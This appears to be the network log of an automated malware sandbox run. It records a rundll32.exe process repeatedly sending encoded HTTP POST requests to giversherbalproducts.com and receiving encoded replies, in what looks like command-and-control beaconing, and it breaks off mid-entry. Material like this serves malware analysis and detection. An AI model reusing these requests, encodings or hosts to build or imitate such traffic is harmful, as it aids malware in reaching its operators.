Oct 4, 2021 16:02:41.564976931 CEST	7206	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.3	50022	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:41.954008102 CEST	7207	OUT	POST /lBawcxb5/exkIDX8xAQ0WKxgBGi96Lh4ZOTkyIUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:42.490470886 CEST	7209	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.3	50023	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:41.987916946 CEST	7208	OUT	POST /lBawcxb5/JQ0uHDszfz1/KBIBKQ4kO31CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:42.488712072 CEST	7209	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.3	50024	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:42.832994938 CEST	7210	OUT	POST /lBawcxb5/GyY/RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:43.282977104 CEST	7212	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49772	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:17.242490053 CEST	1069	OUT	POST /lBawcxb5/EgwSFkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:17.697683096 CEST	1070	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:17 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.3	50025	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:42.885447025 CEST	7211	OUT	POST /lBawcxb5/DnIfACIKED4/Fx0AO0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:43.385889053 CEST	7212	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.3	50026	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:43.632050991 CEST	7213	OUT	POST /lBawcxb5/Pi5+CRocDj44DiwHHT85Jh8GfHwSJyEFPkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:44.072890043 CEST	7215	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:43 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.3	50027	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:43.797586918 CEST	7214	OUT	POST /lBawcxb5/Oj4sHA4ELXo6PSIABXx7E3hyFCsJInNFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:44.294256926 CEST	7216	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:43 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.3	50028	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:44.439554930 CEST	7216	OUT	POST /lBawcxb5/Egw7CQknICw7PAp7CiIqPSAbRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:44.937819958 CEST	7217	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:44 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.3	50029	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:45.116906881 CEST	7218	OUT	POST /lBawcxb5/exkIDX8xAQ0WKxgBGi96Lh4ZOTkyIUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:45.684062004 CEST	7219	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:45 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 